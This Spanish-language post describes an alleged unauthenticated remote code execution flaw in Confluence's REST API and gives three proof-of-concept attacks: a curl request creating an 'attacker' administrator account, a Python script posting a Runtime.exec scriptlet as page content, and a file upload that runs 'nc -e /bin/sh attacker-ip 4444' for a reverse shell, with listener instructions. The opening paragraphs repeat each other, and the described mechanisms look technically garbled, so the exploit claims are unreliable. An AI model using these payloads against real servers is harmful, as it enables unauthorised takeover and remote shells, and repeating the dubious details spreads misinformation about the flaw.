
Esta vulnerabilidad permite a un atacante no autenticado ejecutar remotamente código arbitrario en un servidor Confluence vulnerable. La vulnerabilidad existe debido a una validación incorrecta de la entrada proporcionada por el usuario en la API REST de Confluence. Esto permite a un atacante inyectar código malicioso en el servidor Confluence, que luego puede ser ejecutado por el servidor.
Esta vulnerabilidad permite a un atacante no autenticado ejecutar código arbitrario de forma remota en un servidor Confluence vulnerable. La vulnerabilidad existe debido a una validación incorrecta de la entrada proporcionada por el usuario en la API REST de Confluence. Esto permite a un atacante inyectar código malicioso en el servidor Confluence, que luego puede ser ejecutado por el servidor.
Esta vulnerabilidad podría permitir a un atacante tomar el control total de un servidor Confluence vulnerable. Esto podría permitir al atacante robar datos, modificar datos o interrumpir la disponibilidad del servidor.
Mencionaremos más de un método 1.
1. Identificación del endpoint de API vulnerable:
utilizaremos el siguiente endpoint de API:
POST /rest/api/user/bulk
2. Creación de una solicitud maliciosa:
Crearemos una solicitud maliciosa que incluya un payload con código malicioso. Este código creará un nuevo usuario con privilegios de administrador.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. Envío de la solicitud al servidor:
Usaremos la herramienta cURL para enviar la solicitud al servidor Confluence.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. Ejecución del código malicioso:
Si la solicitud tiene éxito, el servidor Confluence ejecutará el código malicioso. Esto creará un nuevo usuario llamado "attacker" con privilegios de administrador. El atacante puede entonces usar esta cuenta para obtener acceso al servidor y tener control total sobre él.
2- PoC
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- PoC
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Envía la solicitud modificada mediante Burp Suite. Verifica la respuesta para ver si el servidor ejecutó el payload malicioso. Si la respuesta es inesperada o contiene errores que indican ejecución de código, entonces la vulnerabilidad ha sido detectada.
Si estás utilizando un payload para establecer una reverse shell, asegúrate de configurar la escucha en el puerto especificado en tu máquina local: nc -lvnp 4444. Si el servidor se conecta a tu máquina local, recibirás una reverse shell.